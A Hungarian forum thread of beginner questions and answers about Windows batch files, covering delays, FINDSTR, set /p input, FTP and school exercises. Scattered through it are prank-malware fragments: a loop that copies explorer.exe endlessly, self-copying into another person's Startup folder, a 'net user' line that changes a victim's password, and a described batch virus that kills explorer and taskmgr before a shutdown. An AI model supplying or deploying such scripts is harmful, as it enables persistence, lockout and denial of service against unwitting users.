Hali! A lenne a kérdésem, hogy van-e olyan parancs ami vár egy meghatározott ideig. Én ezt így oldottam meg ping localhost -n 40
De biztos van erre valami parancs. Valaki tudna segíteni?
Hello, hogy tudom figyelni batch fájlban, hogy egy válzotó (%str2%) az minden harmadik (3,6,9...stb) futáskor egy ciklusban csináljon valamit? Sajnos a vége az egy mappától függ mennyi fájl van benne, mert annyiszor fut le, tehát a véga sajnos X elõfordulás tehát erre gondoltam: ha %str% az harmadik, akkor csináljon valamit, amúgy meg fusson tovább. Tehát hogyan tudok egy változót deklarálni, hogy 3 vagy annak hatványa-e? Köszi
Sziasztok, kéne nekem egy kis segítség. Nem rég kezdtem ezt a batch/DOS programozást, eddig a pascalt toltam, ugyhogy nem idegen a téma :D. Arra lennék kíváncsi, hogy hogyan tudom használni a FIND vagy a FINDSTR parancsot, és a helpet ne mondjátok, vagy a /?-t mert nem segített. A második pedig, hogy mire jók az FTP és a TELNET parancsok, és hogyan tudom használni õket, _? kilûve megint. Elõre is köszönöm!
-----
Még hozzátenném, hogy hogyan lehetne azt megcsinálni azt, hogy beolvasunk egy karakterláncot(stringet) és ezt beírjuk egy .txt fileba?
Nyolc, az én megoldásom igen egyszerû:
@echo off copy "amitakarsz.bat" "%username%\start menu\programs\inditopult"
Sziasztok, kéne nekem egy kis segítség. Nem rég kezdtem ezt a batch/DOS programozást, eddig a pascalt toltam, ugyhogy nem idegen a téma :D. Arra lennék kíváncsi, hogy hogyan tudom használni a FIND vagy a FINDSTR parancsot, és a helpet ne mondjátok, vagy a /?-t mert nem segített. A második pedig, hogy mire jók az FTP és a TELNET parancsok, és hogyan tudom használni õket, _? kilûve megint. Elõre is köszönöm!
jah és lenne mégegy gondom hátha tudja valaki..szóval írok egy ilyet hogy:
@echo off :valami copy C:\WINDOWS\explorer.exe C:\WINDOWS\explorer%RANDOM%.exe goto valami
elindítja, és hogy a cmd ablak a háttérben menjen, folyamatokba lehessen látni csak valamint leállítani..
ez idáig oké...de ha más gépére elküldöma fájlt, megnyitja és az õ indítópuljába másolódjon..szóval erre van vmi megoldás hogy ne kelljen tudnom az õ felhasználó nevét vagy kell?
petya helyett a te nevedet ird oda amit a windows felhasználóinévként használsz... elfelejtettem kivenni :D
@echo off copy "Fájlneve.bat" "C:\Documents and Settings\Petya\Start Menu\Programs\Indítópult"
lényegében azt szeretném elérni hogy bemásolja magát az indítópultba...vmi ötlet?
sziasztok egy olyan kérdésem lenne hogy hogy lehet megcsinálni azt hogy a bat fájlom önmagát másolja oda ahova szeretném:S ha vki tud egy megoldást akkor plz írja meg (olyanra gondolok hogy nekelljen beírni a batch elérési vonalát hanem csak azt hogy hova másolja magát) szal értitek...
Hi,everybudi F1re még tedd hozzá ezt: cmd /c net user %username% 1234 igy nemcsak lecsukod/lefagyasztod a gepet,de meg a jelszavat is megvaltoztatos
Hali fiúk! Olyan kéne nekem, hogy ftp-re töltön fel bizonyos fájlokat, és ezt batch-al megoldani!
ftp ftp.valami.hu------------->Így megnyitja az ftp-t az oké de kell neki az user meg a password! Eddig is ok, de elvileg külön fájlból kellene neki kiolvasni! Hogy lehet azt megcsinálni hogy maga a .bat generáljon egy másik .bat fájlt amibõl kilolvassa???
Szeretnénk UNIX scripteket Windows batch-re alakítani. Segítséget kérnék a szakértõ kollégáktól az alábbi batch programrészlettel kapcsolatban. A gondot az jelenti, hogy a LASTVOL változóba helyezett utasításláncot az IF szerkezet %LASTVOL% formában nem értékeli ki, hanem beleteszi az utasításláncot. Az utasításlánc eredmény egy számérték lenne.
SET LASTVOL=grep teljes kerno^|awk "{print $1}" IF %LASTVOL% == 1000 GOTO ONE
ebben a formában értelmezi - IF grep teljes kerno^|awk "{print $1}" == 1000 GOTO ONE
%LASTVOL% - kiértékelve 27533331
Van-e valamilyen szintaktikai megoldás erre.
Köszönettel:
váóó! elfelejtettem ezt a parancsot teljesen köszi szépen!
fastruktúrát szeretném kilistázni, de dir /s hatására nem mind jelenik meg gondolom mert hosszú fájlnevek, ékezetek, stb. hogyan lehetne ezt áthidalni?
Üdv mindenki
lenne egy ilyen problémám
cls echo szöveg > ennyi.txt echo type ennyi.txt >> ennyi.txt > pro.txt exit
azt akarom elérni hogy ezt : type ennyi.txt >> ennyi.txt beírja a pro.bat ba de sehogy se akarja ezt egyszerû szövegként értelmezni próbáltam "" ilyenek közé rakni akkor beírja de " ezekkel együtt
elõre is kösz a megoldást
esetleg valaki a telnet használatát le tudná írni?
rd /s /q c:\Törlendõ_könyvtár_neve így kérdezés nélkül letörli az egész könyvtárat, de vigyázni ha a c:\ után nincs semmi akkor az egész C-t fogja letörölni
"tudja valaki hogy lehet megnyitni .bat filet h szerkeszteni tudjam? " Jegyzettömbbel, vagy más hasonló egyszeri szövegszerkesztõ/kódszerkesztõ alkalmazással (utóbbira: PsPad, Notepad++, Notepad2, jEdit, ConText).
nekem tudna vki segíteni még? úgy aakrok másolni egy fájlt hogy mindig más nevet adjon neki és ne írja felül magát plz segítsetek:S
szeva ezt írd be:
del /q (és amit törölni akarsz...:))
Nekem segítenél? Énis ugyanezt akarom hogy ne kérdezzen rá. Tudom ... a sugó, csak én kezdõ vagyok még és az alapján nem nagyon tudok eligazodni... :S PLSSS HELP :S
lenne még egy kérdésem..melyik parancsal lehet beállítani azt, ha másolni akarok egy fájlt egy mappába egymás után és mindig ugyan azt..de ne írja felül, hanem a nevéhez rakjon hozzá egy számot vagy vmilyen betût..:S plz segítsetek nagyon köszi!!
del D:\valami\*.*
nemvágom...kijavítanád plz?:)
Alapszabály a batch állományok készítésénél: parancs /? - megadja a parancs súgóját (mint Linux alatt a man parancs vagy az info parancs).
Sziasztok! Batch segítség kéne! Hogy lehet úgy törölni fájlt hogy ne kérdezzen rá (i/n)? Elõre thx! Üdv.: NyoLc`
Szerintem nem. Mivel ha valaki batch vírust csinál akkor csak nem olyan hülye hogy nem konvertálja át .exe-be, mivel a .exe kiterjesztésbe átkonevrtált batch fájlokat nem szûrik a vírusírtók. Vagy ha mégis olyan hülye lenne akkor meg ha látod hogy a fájl batch akkor egybõl megnézed (jobb gomb/szerkesztés) hogy mit tartalmaz és akkor utánna egybõl észrveveszed
1. megoldás: hozd elõ a parancssort (Start menü/Futtatásba írd be: cmd, majd Enter), keresd meg a batch állományok könyvtárát (a cd paranccsal tudsz navigálni a könyvtárszerkezetben), és futtasd a batch-állományt parancssorról. 2. megoldás: a batch állomány végére tegyél pause parancsot.
Kérlek segítsetek. Rengeteg batch fájlt próbáltam már írni Jegyzettömbben, de a létrehozott fájlokat ha el indítom 1 mp-re fel villan egy DOS ablak és nem történik semmi más. Op rendszerem: Win XP Sp2.
ez azt csinalja hogy csinal 1 task.bat nevu batot ami azt csinalja hogy masolja on magat es elinditja vagy is 1 vegtelen folyamat es kozbe elindit a gepeden 1 vissza szamlalast ami kikapcsolja a geped es 2 modon lehet megalitani de ezt nem mondom el hogy amugy meg ennel a programnal 1ik sem muxik :D mert jol van megcsinalni es mikozbe vissza szamol folyamatosan lealitja az explorert mert ha nem alna le akkor meg lehetne alitani a vissza szamlalast de most nezem kimaradt ebbol a progibol 1 sor a tskill explorer ala meg be kene irni hogy tskill taskmgr mert igy most ezt is folyamatosan megalitja mert ha nem alitana akkor a masik modszerel le lehetne alitani a visszaszamlalast :D ja es a vegen a :task start task.bat goto task meg azt teszi ogy folyamatosan ismetli azt a folyamatot ami a :task alat van vagy is a start task.bat vagy is 1folytaba elinditja a task.bat-ot ami meg masolatot csinal magarol es elinditja magat magyarul ha sikerul megalitanod a folyamatos meg nyilast akkor le al a rendszer a vissza szamlalas miat ha meg a vissza szamlalast sikerul meg alitanod akkor meg lefagysz valszeg persze ezek nem bisztosak :D
ujra kene eleszteni a topicot en eleg jol tok bat virusokat kesziteni es meg es ha van aki keszitget ieneket meg oszthatnank 1masal es meg leshetnenk oket hogy mienek meg hasonlok es nem hasznalom semmi rosz celra a sajatjaimat csak csinaltam oket okorsegbol :D
Egyébként véletlenül találtam meg... s nem én vagyok ilyen okos... :-)
Ha mégsem sikerülne letölteni - a részlet a dokumentumból... ------------------------------------------------------------ 1. A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakterláncot.
@echo off dir\|find "%1"
rem Ha nem megy, a parametersort irjuk NAGYBETUKKEL! rem Javasolt kiprobalas: a paranccsorba irjuk be: TOE (kiirja: AUTOEXEC.BAT)
2. A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az „a” betût.
@echo off echo %1|find "a" echo %2|find "a" echo %3|find "a"
rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 3 parameter!
3. A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.
"( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )" A 15-ös feladat kétértelmû. Lehet filenévben is karaktersorozatokat keresni, illetve magában a file-ban is.
A 16-os 17-es feladatok pedig abban van a bibi, hogy rész-karakterláncot kell keresni. Ha nem azt kéne, megoldható lenne egyszerû feltételekkel is: IF %1==%4 ECHO %1 IF %2==%4 ECHO %2 IF %3==%4 ECHO %3
Sajnos a FOR /F-rõl nem találtam olyan példát, ahol kifejezetten sztringet kerestek sztringben. A súgó is eléggé elszomorító: FOR /F ["beállítások"] %változó IN (fájlkészlet) DO parancs [parancs_paraméterei] FOR /F ["beállítások"] %változó IN ("karakterlánc") DO parancs [parancs_paraméterei] FOR /F ["beállítások"] %változó IN ('parancs') DO parancs [parancs_paraméterei]
Összeszedem kb mik kellenek hozzá, ezekbõl kisebb gondolkodás után össze legózható:
( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? ) Findstr Normál kifejezések használatával szövegmintákat keres fájlokban.
for /F ["elemzési_kulcsszavak"] {%% | %}változó in ("normál_karakterlánc") do parancs [parancssori_kapcsolók]
három ciklust írnék, a három bemeneti argumentumra ( %1 %2 %3 ), és a ciklusmagban vizsgálnám az egyezést, ha egyezik, akkor gotoval elugrik, és kiiratni..
SZia!! köszike de meglehetne oldani azt hogy ez Dos és Windowsban legyen? Mert az "említett hölgyemény"nek sajnos így kell meg lehet oldani? köszi Zoli
1. Ez egy fórum, ne e-mailben várj segítséget. 2. Dos/Windows vagy Unix/Linux alatt érdekel a megoldás? Valószínûsítem hogy a az említett hölgyemény ez utóbbira kiváncsi. 3. Crack-et ne ajánlgass, azt tudunk találni a neten... Másrészt ez nem ilyen fórum.
A 15-ös feladat batch file-ja Dos/Windows alatt: dir \*%1*.*
Ugyanez Linux/Unix alatt: #!/bin/sh ls / | grep $1
Sziasztok!! Kérlek segítsetek egy kicsit!! Itt lenne néhány feladat pontosan 3 és nem bírok velük igaz még 1 napja tanulom ezt a dolgot de nem megy és igazából még talán az is baj hogy nem magamnak tanulom hanem megkértek rá ráadásul egy lány. 21 éves és nemtudom miért kapta ezeket a feladatokat. (én 13 éves vagyok :P komolyan) valaki megcsinálná nekem vagy elmagyarázná ezt az egészet? Holnap este 22:00-ig van idõnk. Kérlek a választ vagy publikáljátok itt vagy küldjétek el mailba a [email protected] címre Elõre is nagyon nagyon köszönöm a segítségeteket!! Ha kell valami játékkal kapcsolatos dolog nektek vagy valami akkor szóljatok vagy írjatok mailt és megszerzem. Játékot ha nem is de amik kellenek hozzá mint pl inkább nem mondom:P az az akármi.exe amivel felülírod a játék exejét :P (Csak hogy ne tudjanak belémkötni :P) nagyon köszi még 1* A feladatok:
15. Feladat
A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakter-láncot.
16. Feladat
A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az “a” betût.
17. Feladat
A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.
Itt megtalalod, hogyan hasznalhatod. http://www.computerhope.com/if.htm
Tud nekem segíteni vki abban, hogy amikor egy olyan részhez ér a bat file, ogy választani kell 2 lehetõség közül, akkor az egyik automatikusan bíródjon és tovább fusson a dolog, tehát pl igen/nem lehetõség van akkor mondjuk az igen automatikusan bíródjon.
És min értesz ezt "Alantabb láthatsz példákat is." Hol lehet ezt megnézni? És várom a következõ "leckét"!
Ha jól emléxem, a batch kötegelt parancsfile, ami azt jelenti, hogy egy .bat kiterjesztésû file-ban egyszerre több parancs írható be, ami mind végrehajtódik, miután elindítottad ezt a file-t. Pl. egy .bat file-ba beírhatsz másolást, törlést, átnevezést stb.
Sziasztok "professorok"! Tegnap vettük a "batch" a suliban(szakkközép), halvány fogalmam sincs róla, hogy mi ez. Vki tudna segíteni mind elméletileg, mind programozásilag? 1000hála
win alatt hogy tudom megcsinálni batchben, hogy adott szinttõl kezdve minden alkönyvtárban lévõ fájlt egy megadott helyre másoljon, úgy hogy mindegyik kiterjesztését módosítja?? shell script az jobban menne, de linux emulátorom nincs
hello
A kovetkezo problema van, remelem tudtok segiteni:
Adott egy batch file ami megadott konyvtarbol masol at cuccokat egy belso lanos halozatban levo gepekre (az osszesre). Ez egy ciklussal van megoldva. A baj ott kezdodik, hogy a celkonyvtar nevet ugy kell megadni, hogy a celgepen megosztott meghajto megosztasi nevet kell beirni neki. Na jo, pelda: a batch vergehajto parancsa ez: ... ) DO robocopy %1 \\%%g\rendszer (c)\%2 /E
ahol %1 a 'honnan' konyvtar %%g a celgep es %2 a hova konyvtar ezzel nincs is baj, a baj a kozepso 'rendszer (c)' miatt van, ugyanis van benne space, tehat a robocopy (kb xcopy) uj parameternek veszi.
" " koze nem tehetem, mert akkor a %%g parametert nem helyettesiti be rendesen. Nem irhatom be hogy ...\"rendszer (c)"\... mert nem erti. Nem adhatom be neki parameterbe mert nem erti. Meg lehet-e ezt oldani valahogy?
(Remelem feleled a tema es valaki tud segiteni)
98 alatt nem mûkszik a /p -s dolog, viszont xpben megírtam kis lantalk :):
@echo off set $elkuldott=- meg nem kuldtel uzenetet - set /p $gepnev=Add meg a gepnevet ahova kuldozgetni szertnel:
A set paranccsal nem csak értékadást lehet csinálin, hanem változót beolvasni is a /p paraméter segítségével. Pl.:
@set /p param1= @echo %param1%
vagy
@set /p param1=Add meg a param1 értékét: @echo %param1%
Vigyázat! Az egyenlõségjel elõtt nincs szóköz! Ha van, a parancsértelmezõ azt is a változónév részének veszi! Azaz a "param1" és a "param1<szóköz>" két különbözõ változónév. Ez a lehetõség viszont csak W2K-tól fölfelé mûködik. Egyébként az NT/W2K/XP nem ismeri a choice-ot, de a fentiekkel kiváltható.
Hell! Gondoltam egyet, hogy biztos nem csak a ****** liunxban lehet scriptekkel megcsinálni sokmindent, hanem tudok vmit csinálni win ben is. Ott elakadtam hogy lehet billentyûzetrûl beolvasni azt stringbe tenni vagy a billentyûzetrõl olvasott dolgot pipe al bevinni másik parancsba, stb.. A choice parancs az ok, de ott csak megadott betûk közül lehet választani.
Arra rájöttem hogy pl. késleltetést hogy lehet csinálni, ezt trükkösen a choice parancsal:
choice /c:ox bla bla /t:4,o if errorlevel 1 call .... if errorlevel 2 goto kilepes
valami hasonló..
Tedd ki parancsikonként az asztalra, a parancsikon tulajdonságokban állítsd be, hogy kisméreten induljon.
Nemrég írtam egy kis .bat-ot (tõlem ez elég nagy teljesítmény :), ami szerencsére normálisan mûködik meg minden, csak van egy probléámá vele. Ha elindítom, akkor a Dos ablakot frankón kirakja maxmális méretben a deskop közepére. Hogy lehetne azt megoldani, hogy ez a háttérbe fusson, vagy legalábbis ne ugorjon ki a deskop közepére? Valami megoldás csak van...